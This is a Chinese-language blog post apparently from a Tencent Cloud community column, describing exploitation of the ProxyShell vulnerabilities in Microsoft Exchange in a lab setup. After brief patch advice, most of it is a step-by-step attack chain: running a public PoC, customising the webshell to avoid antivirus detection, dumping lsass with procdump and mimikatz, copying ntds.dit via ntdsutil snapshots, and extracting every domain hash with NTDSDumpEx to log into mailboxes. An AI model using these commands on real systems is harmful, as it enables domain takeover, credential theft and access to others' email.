首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用ProxyShell漏洞获取域控所有Hash

利用ProxyShell漏洞获取域控所有Hash

原创
作者头像
小生观察室
修改2021-09-06 10:20:46
1.4K0
修改2021-09-06 10:20:46
举报
文章被收录于专栏:小生观察室小生观察室

ProxyShell简介

ProxyShell 由三个漏洞组成:

CVE-2021-34473:可导致 ACL 绕过的预认证路径混淆漏洞

CVE-2021-34523:在 Exchange PowerShell 后台的提权漏洞

CVE-2021-31207:可导致 RCE 的认证后任意文件写漏洞

未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。

与3月份微软修复的Proxylogon漏洞相比,ProxyShell不需要知道目标管理员邮箱即可利用,危害性更高。

影响范围

Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

处置建议

当前微软官方已发布以上漏洞受影响版本的安全补丁,强烈建议受影响的用户尽快安装安全补丁进行防护。

建议受影响用户通过以下链接进行手动更新:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207

测试过程

测试环境

本地搭建的测试环境:

  • Microsoft Windows Server 2016 Datacenter
  • Exchange Server 2016 CU15 具体版本号可在owa页面查看源代码,在图标ico的链接处可以看到内部版本号。

根据微软官网Exchange Server内部版本号也可以进行对应

https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

外部打点

访问目标并确认服务无异常

通过POC获取权限

https://github.com/dmaasland/proxyshell-poc

用法

python3.8 proxyshell_rce.py -u https://小生观察室 -e administrator@小生观察室

该POC默认自带的马容易被查杀,在实战中建议对马内容进行自定义,我这里是进行修改后执行并获得shell

如需替换可利用ProxyShell_Payload对Conten里面的内容进行替换

利用工具:https://github.com/Ridter/proxyshell_payload

坑点:
实战中遇到很多Exchange的环境虽然是system权限,但依然无法执行命令,会出现拒绝访问等情况。一般出现这样的情况是被限制执行命令或者杀软导致,可以尝试BOF进行绕过【下一篇再详细说明】

该漏洞虽然不需要管理员邮箱,但是在实战中建议还是以Exchange Administrative Group中的邮箱用户为主,但很多时候无法找到该组里面对应的邮箱地址,为此需要用到自动获取对应邮箱信息的脚本,可以在公众号回复ProxyShell获取邮箱进行获取。

获取域控权限

进一步进行信息收集

通过对比进程发现存在杀软

查询域控制器

发现并没有返回常见的IPV4地址

这里利用到一个小技巧,可以通过nslookup直接寻找域控制器的地址

nslookup -type=SRV _ldap._tcp

经过对比IP地址发现当前exchange服务器与域控机器为同一台。

这里因为本地测试,所以环境全部搭建在一起,实战中也会遇到这样的情况,但也有出现不同的机器进行分别管理

获取域控hash

既然已经确定了机器位置就尝试去获取Hash,我这里为了方便用的是mimikatz+procdump的组合

将procdump上传到目标机器并执行

lsass.dmp文件打包并通过web的方式下载到本地

makecab C:\inetpub\wwwroot\aspnet_client\lsass.dmp C:\inetpub\wwwroot\aspnet_client\lsass.zip

将下载的lsass.zip文件解压并存放在mimikatz同级目录下,并通过mimikatz获取域控管理员hash信息

获取到域管信息

对于这步如果感觉相对比较麻烦,可以直接使用pwdump8

说明文档

https://www.openwall.com/passwords/windows-pwdump

下载地址

https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump8-8.2.zip

获取域控内所有hash

先导出ntds.dit中的内容【在域控服务器上操作】

文件路径c:\windows\ntds\ntds.dit

  • 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

  • 挂载快照
ntdsutil snapshot "mount {8b40c128-b348-4443-8197-fac604449900}" quit quit

  • 复制ntds.dit文件
copy C:\$SNAP_202109032304_VOLUMEC$\windows\NTDS\ntds.dit ntds.dit

  • 卸载快照
ntdsutil snapshot "unmount {8b40c128-b348-4443-8197-fac604449900}" quit quit

  • 删除快照
ntdsutil snapshot "delete {8b40c128-b348-4443-8197-fac604449900}" quit quit

最后利用NTDSDumpEx工具进行内容提取,将ntds.ditNTDSDumpEx放在目前机器同一个文件夹下执行

https://github.com/zcgonvh/NTDSDumpEx/releases

如果在能获取system.hiv文件的情况下,就执行以下步骤

NTDSDumpEx.exe -d ntds.dit -s system.hiv -o xiaoshengguanchashi.txt -h -m -p

如果不能获取system.hiv文件的情况下,执行如下步骤

  • 获取当前系统的SYSKEY
NTDSDumpEx.exe -r

  • 利用SYSKEY获取hash信息
NTDSDumpEx.exe -d ntds.dit -k 1026DD36333AEE8B3E593A5502A7967C -o xiaoshengguanchashi.txt -h -m -p

将生成的xiaoshengguanchashi.txt下载到本地打开即可看到所有的hash信息

登录exchang邮箱

将NTML进行解密即可登录

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ProxyShell简介
    • 影响范围
      • 处置建议
      • 测试过程
        • 测试环境
          • 外部打点
            • 获取域控权限
              • 获取域控hash
                • 获取域控内所有hash
                  • 登录exchang邮箱
                  相关产品与服务
                  漏洞扫描服务
                  漏洞扫描服务(Vulnerability Scan Service,VSS) 是一款自动探测企业网络资产并识别其风险的产品。依托腾讯二十年累积的安全能力,漏洞扫描服务能够对企业的网络设备及应用服务的可用性、安全性与合规性等进行定期的安全扫描、持续性风险预警和漏洞检测,并且为企业提供专业的修复建议,降低企业安全风险。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档